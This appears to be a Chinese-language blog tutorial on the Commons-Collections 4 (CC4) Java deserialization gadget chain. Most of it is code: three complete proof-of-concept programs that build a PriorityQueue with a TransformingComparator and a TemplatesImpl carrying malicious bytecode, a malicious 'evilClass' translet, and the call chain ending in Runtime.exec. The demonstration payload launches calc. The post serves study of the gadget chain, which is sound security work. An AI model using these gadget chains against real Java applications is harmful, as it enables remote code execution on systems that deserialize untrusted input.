java反序列化--CC4

java反序列化–CC4

我们后面学习的CC4、CC5、CC7据说实用价值比较低了

但是我们还是要学习 毕竟我们的java调试 审计能力还不够

继续提升我们的java能力吧

前置

利用条件

  • Commons-Collections=4.0
  • javassist

CC4

其实CC4就是CC2与CC3的组合体

基于TransformingComparator+priorityqueue是可以触发transforme()方法

所以可以利用这个两个类的组合来代替cc3链中的LazyMap或Transformedmmap+AnnotationinvocationHandler的组合,从而构成了cc4

直接上POC

通过POC来学习就行

POC

package example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Arrays;
import java.util.PriorityQueue;

/**
* 此类演示了利用Common Collections 4 (CC4)漏洞进行攻击的方法,
* 能够通过操纵优先队列的比较器实现远程代码执行。
* 它创建了一个恶意的TemplatesImpl对象,并将其置于变换器链中,
* 最终在反序列化优先队列时触发代码执行。
*/
public class CC4 {
/**
* 辅助方法,用于设置对象私有字段的值。
* @param obj 需要设置字段值的对象。
* @param name 字段名称。
* @param value 字段的新值。
* @throws Exception 访问或设置字段时可能出现的异常。
*/
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field=obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}

public static void main(String[] args) throws Exception{
// 初始化Javassist的类池以进行字节码操作
ClassPool cp=ClassPool.getDefault();
cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));

// 创建一个新的类,继承自AbstractTranslet,在初始化时执行任意代码
CtClass cc=cp.makeClass("VV");
cc.setSuperclass(cp.getCtClass(AbstractTranslet.class.getName()));
cc.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");

// 将恶意类转换为字节数组
byte[] bytes=cc.toBytecode();
byte[][] bytecodes = new byte[][]{bytes};

// 创建并配置TemplatesImpl对象以包含恶意字节码
TemplatesImpl templates= new TemplatesImpl();
setValue(templates,"_bytecodes",bytecodes);
setValue(templates,"_name","VV");

// 构建变换器链,包含将常量转换为TrAXFilter实例的过程
ChainedTransformer chained=new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
});

// 使用变换器链创建比较器
TransformingComparator trans=new TransformingComparator(chained);

// 创建优先队列并设置恶意比较器
PriorityQueue prior=new PriorityQueue(2);
prior.add(1);
prior.add(2);
setValue(prior,"comparator",trans);

// 序列化优先队列
ByteArrayOutputStream bao=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(bao);
oos.writeObject(prior);
oos.close();

// 反序列化触发代码执行
ObjectInputStream ois = new ObjectInputStream((new ByteArrayInputStream(bao.toByteArray())));
ois.readObject();
}
}

没问题哈

image-20240605165836041

其实链子还是比较熟悉的吧

基本上都是前几条链子都见过的东西了

通过 PriorityQueueTransformingComparator 的配合触发 ChainedTransformer 中的 transform 方法,使我们的恶意类字节码注册到 JVM 中并实例化,触发构造函数中的 Runtime 方法达成 RCE

链子流程:

ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()

感觉也没什么好说的了

小变异POC

前面的POC是直接调用了exec.exe

我们可以将POC稍微改动一下 来调用本地的任意class文件

package example;


import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;


public class CC44 {

public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class te = templates.getClass();

Field namefield = te.getDeclaredField("_name");
namefield.setAccessible(true);
namefield.set(templates,"aaa");
Field bytecodesield = te.getDeclaredField("_bytecodes");
bytecodesield.setAccessible(true);

byte[] code= Files.readAllBytes(Paths.get("D://CODE//JAVA//TEXT//src//evilClass.class"));
byte[][] codes={code};
bytecodesield.set(templates,codes);//到了代码执行的地方了,需要将执行的命令传进去


InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

Transformer[] transformers = new Transformer[]{
//避免被readObject修改
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
// chainedTransformer.transform(1);

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

priorityQueue.add(1);
priorityQueue.add(2);

Class c = transformingComparator.getClass();
Field transformerfield = c.getDeclaredField("transformer");
transformerfield.setAccessible(true);
transformerfield.set(transformingComparator,chainedTransformer);

serialize(priorityQueue);
unserialize("ser.bin");
}


//封装serialize
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

//封装unserialize
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

当然 我们需要一个恶意class文件

写一个恶意类

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;


public class evilClass extends AbstractTranslet{
//需要继承AbstractTranslet,因为在defineTransletClasses中会判断是否继承了这个类没有会报错
public evilClass() {
super();
try {
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
//两种触发方式构造方法和静态代码块
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}}


public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}


}

然后编译就行

当然 也可以直接来调用这个类

我们还是用这个恶意类

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;


import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC4Poc {
public static void main(String[] args) throws Exception {
//用Exception免得边写边加报错类型
//将恶意类转换为字节码
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("com.test.evilClass");
byte[] bytes = ctClass.toBytecode();

//反射创建TemplatesImpl
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor();
TemplatesImpl templates = (TemplatesImpl) constructor.newInstance();
//将恶意类的字节码设置给_bytecodes属性
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, new byte[][]{bytes});
//设置属性_name为恶意类名
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates , "evilClass");

Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
Transformer chainedTransform=new ChainedTransformer(transformers);
TransformingComparator transformingComparator=new TransformingComparator(chainedTransform);
PriorityQueue queue=new PriorityQueue(2);
queue.add(1);
queue.add(1);
//入队两个元素,之后通过反射替换掉
Field comparator=queue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(queue,transformingComparator);
//将优先队列的比较器设置为transforminComparator
Field fieldQueue=queue.getClass().getDeclaredField("queue");
fieldQueue.setAccessible(true);
fieldQueue.set(queue,new Object[]{chainedTransform,chainedTransform});
//将两个chainedTransform入队,在触发比较器后就会调用transform方法
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(queue);
objectOutputStream.close();
//序列化
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}